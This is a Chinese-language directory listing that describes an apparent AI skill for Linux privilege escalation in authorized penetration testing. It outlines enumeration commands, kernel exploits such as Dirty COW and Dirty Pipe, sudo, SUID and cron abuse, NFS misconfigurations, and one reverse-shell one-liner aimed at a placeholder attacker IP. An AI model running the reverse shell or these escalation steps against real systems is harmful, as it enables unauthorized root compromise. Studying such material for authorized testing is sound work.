SuperAPI AI 工具集

linux-privilege-escalation

安全与审计

查看项目

更新于 10-16 01:06

技能介绍

用途:在已获得低权限 shell 的 Linux 主机上执行系统化提权评估,从普通用户权限提升到 root。需具备目标低权限交互式 shell、攻击机(用于载荷托管与接收反弹 shell)、Linux 文件权限与常见工具的基础知识。

主要能力:

  1. 系统枚举:收集主机名、内核版本(uname -a、/proc/version)、发行版、当前用户与组(id、whoami)、网络接口与连接、进程与服务、环境变量与 PATH。
  2. 自动化枚举:使用 LinPEAS、LinEnum、Linux Smart Enumeration、Linux Exploit Suggester 等脚本加速排查。
  3. 内核漏洞利用:按内核版本匹配 Dirty COW、Double Fetch、Dirty Pipe 等已知漏洞,编译并执行 exp。
  4. sudo 利用:通过 sudo -l 枚举授权,结合 GTFOBins 利用 vim、find、awk、python、less 等;在 env_keep 含 LD_PRELOAD 时编译共享库提权。
  5. SUID/capabilities:查找 SUID 文件(find / -perm -u=s -type f 2>/dev/null)、getcap -r / 2>/dev/null,并利用对应二进制读取 shadow 或 setuid 执行。
  6. 计划任务与 PATH 劫持:检查 crontab 与 systemd timer,利用可写脚本或 PATH 劫持执行恶意程序。
  7. NFS 利用:识别 /etc/exports 中 no_root_squash,从攻击机挂载并放置 SUID 程序。

使用方式:按阶段推进,先枚举再选择向量。常用命令包括 sudo -l、find / -perm -u=s -type f 2>/dev/null、getcap -r / 2>/dev/null、cat /etc/crontab;反弹 shell 示例:bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1。可参考 GTFOBins 等资源。

限制与注意事项:需获得书面授权并在授权范围内操作;内核漏洞利用可能使系统崩溃,应在测试环境验证;现代内核的 ASLR、SMEP、SMAP 及 AppArmor/SELinux、容器环境可能限制利用;加固系统的 sudo 配置可能受限。具体收费、价格、平台信息暂未提供。